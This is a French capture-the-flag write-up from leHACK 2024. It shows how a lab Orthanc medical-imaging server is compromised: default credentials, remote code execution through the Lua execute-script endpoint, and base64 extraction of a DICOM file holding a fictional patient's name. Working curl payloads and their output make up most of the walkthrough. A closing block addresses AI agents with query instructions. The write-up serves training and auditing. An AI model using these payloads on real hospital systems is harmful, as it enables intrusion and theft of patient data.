# leHACK 2024 - Challenge DLS

Pour l'occasion, en tant qu'ancien étudiant du Pôle Supérieur De La Salle (association SHIELDS), accompagné de la marraine de la promotion 2024 Claire Kemp, fondatrice de la société IT-Gnosis, j'ai eu l'occasion de créer un challenge pour animer le stand.

## Contexte

Le RSSI du CHU HACK vous sollicite pour un test d’intrusion sur son système d’information hospitalier (SIH). Il attire votre attention sur un serveur utilisé pour l’imagerie médicale. Apparemment, les équipes techniques assurent l’avoir bien sécurisé. Prouvez-lui le contraire en lui donnant le nom du patient ayant réalisé un IRM cérébral.

Le serveur est accessible sur l'URL <https://medic.hopto.org>

<figure><img src="/files/g1wvOkPCDIENrXK47SCy" alt=""><figcaption></figcaption></figure>

## Step 1 - Reconnaissance

On commence par regarder ce que contient notre serveur web :&#x20;

* nginx/1.18.0
* Une balise html avec le texte "Orthanc"

```bash
curl -ilkvs https://medic.hopto.org
* Server certificate:
*  subject: CN=medic.hopto.org
*  start date: Jul  1 19:03:13 2024 GMT
*  expire date: Sep 29 19:03:12 2024 GMT
*  issuer: C=US; O=Let's Encrypt; CN=R11
*  SSL certificate verify ok.
> GET / HTTP/1.1
> Host: medic.hopto.org
> User-Agent: curl/7.65.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
HTTP/1.1 200 OK
< Server: nginx/1.18.0
Server: nginx/1.18.0
< Date: Sun, 07 Jul 2024 06:48:40 GMT
Date: Sun, 07 Jul 2024 06:48:40 GMT
< Content-Type: text/html
Content-Type: text/html
< Content-Length: 15
Content-Length: 15
< Last-Modified: Sat, 06 Jul 2024 14:17:40 GMT
Last-Modified: Sat, 06 Jul 2024 14:17:40 GMT
< Connection: keep-alive
Connection: keep-alive
< ETag: "66895204-f"
ETag: "66895204-f"
< Accept-Ranges: bytes
Accept-Ranges: bytes

<
<p>Orthanc</p>

```

Qu'est ce que "Orthanc" ?

{% embed url="<https://www.orthanc-server.com/>" %}

ORTHANC est une plateforme open-source dédiée à la gestion et à l'archivage des images médicales, principalement au format DICOM (Digital Imaging and Communications in Medicine). Elle permet de stocker, de manipuler et de partager des images médicales, facilitant ainsi l'interopérabilité entre différents systèmes et dispositifs médicaux. ORTHANC est utilisée dans les hôpitaux et les cliniques pour gérer les données d'imagerie médicale de manière sécurisée et efficace. Elle propose une API RESTful qui permet l'intégration avec d'autres logiciels médicaux et outils de visualisation.

* On apprend qu'il y a une API.

La documentation est disponible en ligne :&#x20;

{% embed url="<https://orthanc.uclouvain.be/book/users/rest-cheatsheet.html>" %}

On apprend aussi qu'une CVE est sortie en 2023 :&#x20;

{% embed url="<https://www.cyberveille-sante.gouv.fr/alertes/orthanc-cve-2023-33466-2023-10-25>" %}

> Orthanc before 1.12.0 allows authenticated users with access to the Orthanc API to overwrite arbitrary files on the file system, and in specific deployment scenarios allows the attacker to overwrite the configuration, which can be exploited to trigger Remote Code Execution (RCE).

Un POC est disponible en ligne :&#x20;

{% embed url="<https://github.com/ShielderSec/poc/blob/main/CVE-2023-33466/exploit.py>" %}

Il demande plusieurs prérequis :&#x20;

* [x] l'URL du serveur
* [ ] Les identifiants du serveur
* [ ] Un fichier de configuration

```
parser = ArgumentParser()
parser.add_argument('--url', required=True, help='The URL of the target')
parser.add_argument('--credentials', default='orthanc:orthanc', help='The basic authentication credentials')
parser.add_argument('--config-path', default='/etc/orthanc/orthanc.json', help='The path to the configuration file')
args = parser.parse_args()
```

Infos d'internet pour les identifiants :&#x20;

<figure><img src="/files/g15jNX2tEsxenJ38Pu86" alt=""><figcaption></figcaption></figure>

Conf par défaut trouvable sur internet :&#x20;

{% embed url="<https://github.com/qureai/ohif-docker-compose/blob/main/orthanc.json>" %}

Le POC met à disposition un script pour vérifier la vulnérabilité :&#x20;

{% file src="/files/Zf7IfioFXDiqI6wupnh3" %}

Contenu de mon fichier host.txt :&#x20;

```
medic.hopto.org,443
```

On découvre que l'exploit est impossible :&#x20;

<pre class="language-bash"><code class="lang-bash"><strong>$ python check_exploit.py hosts.txt
</strong>Loaded 1 hosts.
Number of vulnerable hosts: 0
</code></pre>

## Step 2 - Initial Access

En analysant le code du POC, on découvre qu'il utilise plusieurs endpoint :&#x20;

* /instances

```bash
 curl -ks https://medic.hopto.org/instances
 
<html>
<head><title>404 Not Found</title></head>
<body>
<center><h1>404 Not Found</h1></center>
<hr><center>nginx/1.18.0</center>
</body>
</html>
```

* /tools/reset

```bash
curl -kvs https://medic.hopto.org/tools/reset
.
> GET /tools/reset HTTP/1.1
> Host: medic.hopto.org
> User-Agent: curl/7.65.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Server: nginx/1.18.0
< Date: Sun, 07 Jul 2024 07:10:20 GMT
< Content-Type: text/html
< Content-Length: 15
< Last-Modified: Sat, 06 Jul 2024 14:17:40 GMT
< Connection: keep-alive
< ETag: "66895204-f"
< Accept-Ranges: bytes
<
<p>Orthanc</p>

```

* /tools/execute-script

```bash
curl -kvs https://medic.hopto.org/tools/execute-script

> GET /tools/execute-script HTTP/1.1
> Host: medic.hopto.org
> User-Agent: curl/7.65.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 401 Unauthorized
< Server: nginx/1.18.0
< Date: Sun, 07 Jul 2024 07:11:00 GMT
< Content-Length: 0
< Connection: keep-alive
< WWW-Authenticate: Basic realm="Orthanc Secure Area"

```

Le seul endpoint fonctionnel semble être /tools/execute-script, les autres sont trigger par le reverse proxy nginx en frontal du serveur Orthanc, inexploitable.

```bash
curl -kvs https://medic.hopto.org/tools/execute-script -u orthanc:orthanc

> GET /tools/execute-script HTTP/1.1
> Host: medic.hopto.org
> Authorization: Basic b3J0aGFuYzpvcnRoYW5j # identifiants par défaut orthanc
> User-Agent: curl/7.65.0
> Accept: */*
< HTTP/1.1 405 Method Not Allowed
< Server: nginx/1.18.0
< Date: Sun, 07 Jul 2024 07:11:46 GMT
< Content-Length: 0
< Connection: keep-alive
< Allow: POST

```

En utilisant POST, on peut bien interroger l'endpoint :thumbsup: :&#x20;

```bash
curl -kvsX POST https://medic.hopto.org/tools/execute-script -u orthanc:orthanc

> POST /tools/execute-script HTTP/1.1
> Host: medic.hopto.org
> Authorization: Basic b3J0aGFuYzpvcnRoYW5j
> User-Agent: curl/7.65.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Server: nginx/1.18.0
< Date: Sun, 07 Jul 2024 07:13:46 GMT
< Content-Type: text/plain
< Content-Length: 0
< Connection: keep-alive

```

## Step 3 - Lateral Movement

On peut se renseigner sur l'endpoint /tools/execute-script dans la doc de l'API :&#x20;

* Il est possible d'exécuter des scripts en LUA (exemple de payload dans le POC d'ailleurs)

<figure><img src="/files/KJ77YVTUUeihLB1jKIEy" alt=""><figcaption></figcaption></figure>

Cette commande permet de faire un simple print en LUA :&#x20;

```bash
curl -ks -X POST https://medic.hopto.org/tools/execute-script -u orthanc:orthanc --data-binary 'print("onosh")'
```

Celle-ci permet de lancer la commande id et de récupérer son résultat :&#x20;

```bash
curl -ks -X POST https://medic.hopto.org/tools/execute-script -u orthanc:orthanc --data-binary 'print(io.popen("id"):read("*a"))'
uid=101(orthanc) gid=102(orthanc) groups=102(orthanc)
```

Maintenant que nous avons notre RCE sur le serveur Orthanc, on doit essayer de retrouver sa base de données (cf Contexte du challenge).

On peut par exemple `find` sur les fichiers où l'utilisateur "orthanc" est propriétaire :&#x20;

```bash
curl -ks -X POST https://medic.hopto.org/tools/execute-script -u orthanc:orthanc --data-binary 'print(io.popen("find / -user orthanc"):read("*a"))' |grep -v '/proc/'
/var/log/orthanc
/var/lib/orthanc
/var/lib/orthanc/db-v6
/var/lib/orthanc/db-v6/8f
/var/lib/orthanc/db-v6/8f/33
/var/lib/orthanc/db-v6/8f/33/8f337f9b-0f19-4904-9aa2-119952eb4281
/var/lib/orthanc/db-v6/index-wal
/var/lib/orthanc/db-v6/index
/var/lib/orthanc/.bash_history
```

Le résultat `/var/lib/orthanc/db-v6/8f/33/8f337f9b-0f19-4904-9aa2-119952eb4281` est intéréssant.

On peut faire un `file` dessus, on remarque qu'il s'agit d'un fichier DICOM (image radio) :&#x20;

```bash
curl -ks -X POST https://medic.hopto.org/tools/execute-script -u orthanc:orthanc --data-binary 'print(io.popen("file /var/lib/orthanc/db-v6/8f/33/8f337f9b-0f19-4904-9aa2-119952eb4281"):read("*a"))'
/var/lib/orthanc/db-v6/8f/33/8f337f9b-0f19-4904-9aa2-119952eb4281: DICOM medical imaging data
```

## Step 4 - Exfiltration

Ici les possibilités sont infinies :smile:, voici une méthode :&#x20;

* On lis le fichier.
* On l'encode en b64 (pour faciliter le transfert :trolleybus:).
* On le décode côté attaquant et on le place dans un fichier.

```bash
curl -ks -X POST https://medic.hopto.org/tools/execute-script -u orthanc:orthanc --data-binary 'print(io.popen("cat /var/lib/orthanc/db-v6/8f/33/8f337f9b-0f19-4904-9aa2-119952eb4281 |base64"):read("*a"))' |tr -d '\n' |base64 -d >radio.dcm && file radio.dcm
radio.dcm: DICOM medical imaging data

```

Ensuite, on peut soit faire un strings sur le fichier pour récupérer les métadonnées de la radio :&#x20;

* On identifie le nom du patient "Yves Remord", née le 25/10/1995

```
strings radio.dcm |head -n50
DICM
1.2.840.10008.5.1.4.1.1.12.1
1.3.12.2.1107.5.4.3.321890.19960124.162922.29
1.2.840.10008.1.2.4.50
999.999
DERIVED\PRIMARY\SINGLE PLANE\SINGLE A
1.2.840.10008.5.1.4.1.1.12.1
1.3.12.2.1107.5.4.3.321890.19960124.162922.29
20230404
141917
SIB
1.2.840.10008.5.1.4.1.1.12.1
1.3.12.2.1107.5.4.3.321890.19960124.162922.28
CARDIO-SMS 1.0
------------
------B
--------
--------
------
--------
------
-----------
1.3.12.2.1107.5.4.3.123456789012345.00000000.000000.6
1.3.12.2.1107.5.4.3.123456789012345.00000000.000000.8
00000000
000000
00000000
000000
Hicor Cine
00-00-00
00:00:00
Scene:  14
\PDB\IDM
AMES
Yves Remord
556342B
19951025
-32
CARDIO-D.R. 1.0
1.3.12.2.1107.5.4.3.123456789012345.19950922.121803.6
1.3.12.2.1107.5.4.3.123456789012345.19950922.121803.8
CARDIO-D.R. 1.0 !
MONOCHROME2 (
LIN (
NAT (
@`US
NONE(
CARDIO-D.R. 1.0 )
CARDIO-D.R. 1.0 )
SANTESOFT

```

Pour un peu plus de fun, on peut aussi ouvrir la radio dans un tool comme MicroDicom DICOM Viewer :&#x20;

{% embed url="<https://www.microdicom.com/downloads.html>" %}

<figure><img src="/files/3JnNWcqac8Xv9sgRZU7i" alt=""><figcaption></figcaption></figure>

Voilà ! à tester dans vos audits d'hopitaux, en maitrisant les payloads sur /execute-script... car un `sleep 10000` sur l'endpoint coupe tout le serveur... :clap:

***

## Sources du challenge

Fichier docker-compose.yml

```yaml
version: '3'
services:
  orthanc:
    build: ./orthanc
    container_name: my-orthanc-container
    ports:
      - "127.0.0.1:8042:8042"
```

Fichier Dockerfile

```docker
FROM debian

RUN apt-get update && apt-get install -y --no-install-recommends \
    orthanc \
    gcc \
    netcat-traditional \
    curl \
    file
COPY orthanc.json /etc/orthanc/orthanc.json

COPY curl-script.sh /tmp/curl-script.sh
RUN chown orthanc:orthanc /tmp/curl-script.sh
RUN chmod 700 /tmp/curl-script.sh

COPY patient1.dcm /tmp/patient1.dcm
RUN chown orthanc:orthanc /tmp/patient1.dcm

USER orthanc

CMD ["sh", "-c", "Orthanc /etc/orthanc/orthanc.json & /tmp/curl-script.sh"]
```

Fichier curl-script.sh

```bash
#!/bin/sh

# Wait for Orthanc to be ready
while ! nc -z localhost 8042; do
  sleep 1
done

# Run the curl command
curl -H 'Authorization: Basic b3J0aGFuYzpvcnRoYW5j' -vX POST http://localhost:8042/instances --data-binary @/tmp/patient1.dcm && rm /tmp/patient1.dcm && rm /tmp/curl-script.sh && tail -f /dev/null
```

Fichier orthanc.json

{% file src="/files/rqDBoM6v8hnOvukx7co5" %}
Configuration Orthanc
{% endfile %}

Fichier patient1.dcm

{% file src="/files/RT2197x72IBX2zrgKo6L" %}
Fichier DICOM contenant le flag
{% endfile %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://book.onosh.ovh/ctf/lehack-2024-challenge-dls.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
